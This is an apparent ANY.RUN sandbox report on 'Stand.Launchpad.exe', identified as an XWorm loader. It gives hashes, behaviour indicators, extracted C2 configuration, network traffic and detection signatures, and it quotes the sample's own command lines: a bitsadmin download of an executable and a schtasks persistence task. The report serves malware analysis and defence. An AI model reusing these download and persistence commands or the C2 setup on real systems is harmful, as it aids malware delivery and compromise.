File name:

Stand.Launchpad.exe

Full analysis: https://app.any.run/tasks/a50abbbb-7e54-437e-9dff-d7ae6f8f7edd
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: June 11, 2024, 14:20:29
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
evasion
loader
remote
xworm
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

BEC01D16B6F3C443EB3912042C1FC7F9

SHA1:

436C7FABFF54997F2E550754EDEA0AE791080C9B

SHA256:

2AA6B748A1EE67BA3F68A53228BBC14ED8CE1285E1DDE54D310E2CA8797EB779

SSDEEP:

3072:vUy7Qin0TTHjL39cs+pTEty6+QXMaAkLkuvt:8y7QinWHzOs+pIty6p5LTv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • Stand.Launchpad.exe (PID: 6404)
      • Stand.Launchpad.exe (PID: 6312)

    • Downloads files via BITSADMIN.EXE

      • mshta.exe (PID: 6384)

    • Changes the autorun value in the registry

      • Stand.Launchpad.exe (PID: 6404)

    • Uses Task Scheduler to run other applications

      • Stand.Launchpad.exe (PID: 6404)

    • Create files in the Startup directory

      • Stand.Launchpad.exe (PID: 6404)

    • XWORM has been detected (SURICATA)

      • Stand.Launchpad.exe (PID: 6404)

    • XWORM has been detected (YARA)

      • Stand.Launchpad.exe (PID: 6404)

  • SUSPICIOUS

    • Reads the date of Windows installation

      • Stand.Launchpad.exe (PID: 6312)
      • Stand.Launchpad.exe (PID: 6404)

    • Executable content was dropped or overwritten

      • Stand.Launchpad.exe (PID: 6312)
      • Stand.Launchpad.exe (PID: 6404)

    • Reads security settings of Internet Explorer

      • Stand.Launchpad.exe (PID: 6312)
      • Stand.Launchpad.exe (PID: 6404)
      • Stand.exe (PID: 6308)

    • The process executes via Task Scheduler

      • Stand.exe (PID: 5920)
      • Stand.exe (PID: 5800)
      • Stand.exe (PID: 2740)

    • Checks for external IP

      • Stand.Launchpad.exe (PID: 6404)

    • Connects to unusual port

      • Stand.Launchpad.exe (PID: 6404)

    • Contacting a server suspected of hosting an CnC

      • Stand.Launchpad.exe (PID: 6404)

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 6384)

    • Checks Windows Trust Settings

      • Stand.exe (PID: 6308)

  • INFO

    • Checks supported languages

      • Stand.Launchpad.exe (PID: 6312)
      • Stand.Launchpad.exe (PID: 6404)
      • Stand.exe (PID: 5920)
      • Stand.exe (PID: 5800)
      • Stand.exe (PID: 2740)
      • Stand.exe (PID: 6308)

    • Reads the computer name

      • Stand.Launchpad.exe (PID: 6312)
      • Stand.exe (PID: 5920)
      • Stand.exe (PID: 5800)
      • Stand.exe (PID: 2740)
      • Stand.exe (PID: 6308)

    • Reads Microsoft Office registry keys

      • Stand.Launchpad.exe (PID: 6312)

    • Process checks computer location settings

      • Stand.Launchpad.exe (PID: 6312)
      • Stand.Launchpad.exe (PID: 6404)

    • Creates files or folders in the user directory

      • Stand.Launchpad.exe (PID: 6312)
      • Stand.Launchpad.exe (PID: 6404)
      • Stand.exe (PID: 6308)

    • Reads the machine GUID from the registry

      • Stand.Launchpad.exe (PID: 6404)
      • Stand.Launchpad.exe (PID: 6312)
      • Stand.exe (PID: 5920)
      • Stand.exe (PID: 5800)
      • Stand.exe (PID: 2740)
      • Stand.exe (PID: 6308)

    • Checks proxy server information

      • Stand.Launchpad.exe (PID: 6404)
      • Stand.exe (PID: 6308)

    • Disables trace logs

      • Stand.Launchpad.exe (PID: 6404)
      • Stand.exe (PID: 6308)

    • Reads Environment values

      • Stand.Launchpad.exe (PID: 6404)
      • Stand.exe (PID: 6308)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6384)

    • Create files in a temporary directory

      • Stand.Launchpad.exe (PID: 6404)

    • Reads the software policy settings

      • Stand.exe (PID: 6308)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

XWorm

(PID) Process(6404) Stand.Launchpad.exe
C2127.0.0.1,us3.localto.net,Name1442-40971.portmap.host:40971
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameKVRT
MutexDGNaqiPP5OUu26e6
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (63.1)
.exe | Win64 Executable (generic) (23.8)
.dll | Win32 Dynamic Link Library (generic) (5.6)
.exe | Win32 Executable (generic) (3.8)
.exe | Generic Win/DOS Executable (1.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:05:31 04:04:01+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 11
CodeSize: 121344
InitializedDataSize: 21504
UninitializedDataSize: -
EntryPoint: 0x1f90e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
FileDescription:
FileVersion: 1.0.0.0
InternalName: Stand.Launchpad.exe
LegalCopyright:
OriginalFileName: Stand.Launchpad.exe
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
124
Monitored processes
11
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start stand.launchpad.exe mshta.exe no specs #XWORM stand.launchpad.exe bitsadmin.exe no specs conhost.exe no specs schtasks.exe no specs conhost.exe no specs stand.exe no specs stand.exe no specs stand.exe no specs stand.exe

Process information

PID
CMD
Path
Indicators
Parent process
2740"C:\Users\admin\AppData\Local\Temp\Stand.exe"C:\Users\admin\AppData\Local\Temp\Stand.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\stand.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
5800"C:\Users\admin\AppData\Local\Temp\Stand.exe"C:\Users\admin\AppData\Local\Temp\Stand.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\stand.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
5920"C:\Users\admin\AppData\Local\Temp\Stand.exe"C:\Users\admin\AppData\Local\Temp\Stand.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\stand.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
6308"C:\Users\admin\AppData\Local\Temp\Stand.exe" C:\Users\admin\AppData\Local\Temp\Stand.exe
mshta.exe
User:
admin
Company:
Calamity, Inc.
Integrity Level:
MEDIUM
Description:
Stand Launchpad
Version:
1.9.0.0
Modules
Images
c:\users\admin\appdata\local\temp\stand.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
6312"C:\Users\admin\Desktop\Stand.Launchpad.exe" C:\Users\admin\Desktop\Stand.Launchpad.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Version:
1.0.0.0
Modules
Images
c:\users\admin\desktop\stand.launchpad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
6384"C:\Windows\SysWOW64\mshta.exe" "C:\Users\admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} C:\Windows\SysWOW64\mshta.exe—Stand.Launchpad.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
3221225547
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
6404"C:\Users\admin\AppData\Roaming\Stand.Launchpad.exe" C:\Users\admin\AppData\Roaming\Stand.Launchpad.exe
Stand.Launchpad.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Version:
1.0.0.0
Modules
Images
c:\windows\system32\oleaut32.dll
c:\windows\system32\wldp.dll
c:\windows\system32\amsi.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\programdata\microsoft\windows defender\platform\4.18.2207.7-0\mpoav.dll
c:\programdata\microsoft\windows defender\platform\4.18.2207.7-0\mpclient.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\msasn1.dll
XWorm
(PID) Process(6404) Stand.Launchpad.exe
C2127.0.0.1,us3.localto.net,Name1442-40971.portmap.host:40971
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameKVRT
MutexDGNaqiPP5OUu26e6
6500"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\admin\AppData\Local\Temp\Stand.exeC:\Windows\SysWOW64\bitsadmin.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
0
Version:
7.8.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\ole32.dll
6508\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—bitsadmin.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
7152"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Stand" /tr "C:\Users\admin\AppData\Local\Temp\Stand.exe"C:\Windows\System32\schtasks.exe—Stand.Launchpad.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
Total events
17 721
Read events
17 668
Write events
53
Delete events
0

Modification events

(PID) Process:(6312) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ApplicationAssociationToasts
Operation:writeName:htafile_.hta
Value:
0
(PID) Process:(6312) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hta\OpenWithProgids
Operation:writeName:htafile
Value:
(PID) Process:(6312) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6312) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6312) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6312) Stand.Launchpad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6384) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6384) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6384) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6384) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
2
Suspicious files
5
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
6308Stand.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E943B0FFA8084B6B254AAF787773AA42_D4E29B2355F9CFB2431676E87E1A6DFCbinary
MD5:BA0A4DBD9D70FC72249F60188F9D2A41
SHA256:9B5F0B1EF5DCB029B932ED928B022AD5D414665F8E7952F25D7FBD63761A5F09
6312Stand.Launchpad.exeC:\Users\admin\AppData\Roaming\Downloader.htahtml
MD5:B0A6D4E05DC2225DD03902A3061A4041
SHA256:05E5C927C6366BEBAB2FB341D233887F503FB692D8F6880F7D1327B64705C1EE
6404Stand.Launchpad.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnkbinary
MD5:EEB8E4B956B4D7CE04A9A444D5118828
SHA256:8A8FFFA521D1EF314626624C8F1816B1C0A49BF8AC31CD5D67416E9ECBB9A25D
6404Stand.Launchpad.exeC:\Users\admin\AppData\Local\Temp\Stand.exeexecutable
MD5:D51DA3FA31165F2536DDDAD44974AF34
SHA256:9CC68D4AB822BD8E5FD66F40B2C99BCE04805505E593027ACA67256AB63C6210
6308Stand.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A37B8BA80004D3266CB4D93B2052DC10_A93CE4618EE38C3485BA7B27239D573Abinary
MD5:6431ABFC56A676015648E580926B1B1D
SHA256:3C882F104B7107309AB0023A36B0A0448EF0A8B169EE98AA16BF50551F332CED
6308Stand.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A37B8BA80004D3266CB4D93B2052DC10_A93CE4618EE38C3485BA7B27239D573Abinary
MD5:54DC35FAE510B44A32D772C97AF1A250
SHA256:F790C986D6EB25FD855B2C20596A8B9B80A6623F00BFF1E9E90159DFBDA816BC
6312Stand.Launchpad.exeC:\Users\admin\AppData\Roaming\Stand.Launchpad.exeexecutable
MD5:D51DA3FA31165F2536DDDAD44974AF34
SHA256:9CC68D4AB822BD8E5FD66F40B2C99BCE04805505E593027ACA67256AB63C6210
6404Stand.Launchpad.exeC:\Users\admin\AppData\Local\Temp\Log.tmptext
MD5:069BE75EED4C4A3D18BE52E203D152B7
SHA256:42F218B967DA13B416F6CB3994CDC8BACF7CE125D61ED5AF94BA0C1A388083E9
6308Stand.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E943B0FFA8084B6B254AAF787773AA42_D4E29B2355F9CFB2431676E87E1A6DFCbinary
MD5:57BD9D355041165064C59F9354F77FE3
SHA256:9CD582B764D582D47EFF426AA5B8A5C5CADDE9F59DA3F4835171A45438E3DF71
6308Stand.exeC:\Users\admin\AppData\Local\Calamity,_Inc\Stand.exe_Url_js2a5s5azi4ka4o5jeqy0pelqi34vu03\1.9.0.0\3xvergum.newcfgxml
MD5:B4AE24F20E59E454D57443D663A7581E
SHA256:8409DD0AA292B3BF50903A7CA1A1A0D6697D5C7B0ED3D1C5E43EBDF6F82DB074
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
79
TCP/UDP connections
32
DNS requests
15
Threats
19

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.219.78.201:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
5140
MoUsoCoreWorker.exe
GET
200
23.219.78.201:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
5140
MoUsoCoreWorker.exe
GET
200
23.44.252.205:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
—
—
HEAD
302
140.82.121.4:443
https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe
unknown
—
—
—
5952
svchost.exe
GET
200
23.219.78.201:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
—
—
HEAD
200
null:443
https://objects.githubusercontent.com/github-production-release-asset-2e65be/478498798/dfd5e9ef-8587-44af-bb57-12fcca5bf897?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240611%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240611T142047Z&X-Amz-Expires=300&X-Amz-Signature=7e176da67f6ac627b617aaf13fc91bc03963a5f54e5f7525935e75f08813f2fa&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=478498798&response-content-disposition=attachment%3B%20filename%3DStand.Launchpad.exe&response-content-type=application%2Foctet-stream
unknown
—
—
—
—
—
GET
200
23.44.252.205:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
6404
Stand.Launchpad.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
—
—
unknown
—
—
GET
302
140.82.121.4:443
https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe
unknown
—
—
—
—
—
GET
302
140.82.121.4:443
https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe
unknown
—
—
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5952
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
—
—
23.219.78.201:80
crl.microsoft.com
CLARO S.A.
BR
unknown
5140
MoUsoCoreWorker.exe
23.219.78.201:80
crl.microsoft.com
CLARO S.A.
BR
unknown
5952
svchost.exe
23.219.78.201:80
crl.microsoft.com
CLARO S.A.
BR
unknown
5140
MoUsoCoreWorker.exe
23.44.252.205:80
www.microsoft.com
Cellcom Fixed Line Communication L.P
IL
unknown
—
—
239.255.255.250:1900
—
—
—
unknown
—
—
23.44.252.205:80
www.microsoft.com
Cellcom Fixed Line Communication L.P
IL
unknown
—
—
140.82.121.4:443
github.com
GITHUB
US
unknown
6568
svchost.exe
185.199.109.133:443
objects.githubusercontent.com
FASTLY
US
unknown

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.219.78.201
  • 23.219.78.202
whitelisted
www.microsoft.com
  • 23.44.252.205
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
github.com
  • 140.82.121.4
  • 140.82.121.3
shared
objects.githubusercontent.com
  • 185.199.109.133
  • 185.199.111.133
  • 185.199.108.133
  • 185.199.110.133
shared
ip-api.com
  • 208.95.112.1
shared
www.bing.com
  • 23.222.16.40
  • 23.222.16.17
  • 23.222.16.16
  • 23.222.16.9
  • 23.222.16.19
  • 23.222.16.25
  • 23.222.16.26
  • 23.222.16.57
  • 23.222.16.49
whitelisted
r.bing.com
  • 23.222.16.57
  • 23.222.16.9
  • 23.222.16.25
  • 23.222.16.16
  • 23.222.16.17
  • 23.222.16.19
  • 23.222.16.26
  • 23.222.16.40
  • 23.222.16.49
whitelisted
us3.localto.net
  • 130.51.20.126
unknown
Name1442-40971.portmap.host
  • 49.13.77.253
unknown

Threats

PID
Process
Class
Message
6404
Stand.Launchpad.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
6404
Stand.Launchpad.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
—
—
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
—
—
Misc activity
ET INFO EXE - Served Attached HTTP
6404
Stand.Launchpad.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm Network Packet
2184
svchost.exe
Potential Corporate Privacy Violation
ET POLICY DNS Query to a Reverse Proxy Service Observed
2184
svchost.exe
Misc activity
ET INFO DNS Query for Port Mapping/Tunneling Service Domain (.portmap .host)
6404
Stand.Launchpad.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm Network Packet
—
—
Misc activity
ET INFO Packed Executable Download
—
—
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
8 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Stand.Launchpad.exe